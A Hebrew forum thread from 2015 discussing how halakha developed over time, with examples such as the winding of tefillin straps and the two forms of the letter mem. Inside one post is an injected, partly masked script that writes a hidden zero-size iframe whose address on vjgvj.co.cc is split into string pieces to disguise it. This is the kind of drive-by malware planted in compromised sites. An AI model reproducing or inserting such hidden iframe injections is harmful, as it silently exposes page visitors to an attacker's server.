|
|
| נשלח ב-19/10/2015 08:00 |
 |
| |
מה שכתבת מיימוני מעלה שאלה מעניינת האם החלוקה הרגילה שלנו למצוות התורה למצוות דאורייתא ודרבנן וזהו היא החלוקה האופטימלית או שמא ישנן תת חלוקות. דאורייתא גמורה, דרבנן, דברים שחייבים לעשות כי זה מה שטוב לקהילה,דברים שהונהגו במהלך הדורות וכו' וכו'
(ברוח מה שכתבת בחמורו של בורדיאן. ואולי באמת ר' גדליה הניח כהנחה אקסיומטית שלא כל מה שנאמר בגמ' או בהלכה הוא דין של ממש), והתפתחות זו תיתכן בהחלט בהלכה ואינה סתירה לתורה שלימה מן השמים.
ואין שונה הדבר מאיסורים דרבנן שאינם סתירה לקבלת התורה בשלמותה.
|
|
|
|
|
| נשלח ב-19/10/2015 08:06 |
|
| |
| מיימוני כתב: |  |
אפשר לנסות להחיל את הרעיון הזה על תולדות ההלכה. כמובן, כאן אני מעז לטעון שיש התפתחות במסורת, טענה שלא העליתי בדעתי לטעון בראשית ימי בפורום. אבל כמדומה שזה לא חסרון להודות על האמת הזו.
הנה כמה דוגמאות, חלקן לקוחות ממנהגים וחלקן מהלכות שיש להן יותר מקור בתלמוד.
א. כמה פעמים יש לכרוך את הרצועות של התפילין של יד על הזרוע? שימו לב שהרמב"ם עד כמה שאני מכיר אינו מזכיר כלל חובה כזו. אני משער שהקורא נוהג שבע פעמים. מדוע שבע?
ב. אם הכתב הקדמון האשורי איפשר תחילה לכתוב כל אחד משני המ"מים, ובשלב כלשהו התקבלה אבחנה, זה בראש וזה בתחילה, זה יכול להסביר את הנתונים. זו דוגמא לעקרון שכתבתי, של "קבלת צורה מסויימת".
התלמוד יתקשה כמובן לקבל שפעם דבר היה לא סגור והיום הוא קיבל צורה, ולכן הוא מעדיף את ההשערה החליפית שהיתה דרך מסויימת אבל היא נשכחה. (ועקרונית, ודאי שגם תהליך כזה מתרחש).
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
|
|
כהמשך למה שכתבתי לעיל איני בטוח כי אכן התלמוד יתקשה לקבל התפתחות כזאת (יש הרבה בתלמוד איסורים ותקנות שתיקנו אנשים ספציפיים למקומות מסוימים והתקבלו איכשהו לתמיד)
וקושית התלמוד היתה רק על מנצפך צופים אמרום שזה נשמע שהנביאים (צופים) חידשו את זה בנבואה, ועל זה הקשה התלמוד "והלא אין נביא רשאי לחדש דבר מעתה" ועל זה אמר שכחום אבל לו היה נאמר שנהגו כן במהלך הדורות יתכו ולא היה לתלמוד שום בעיה עם זה
|
|
|
|
|
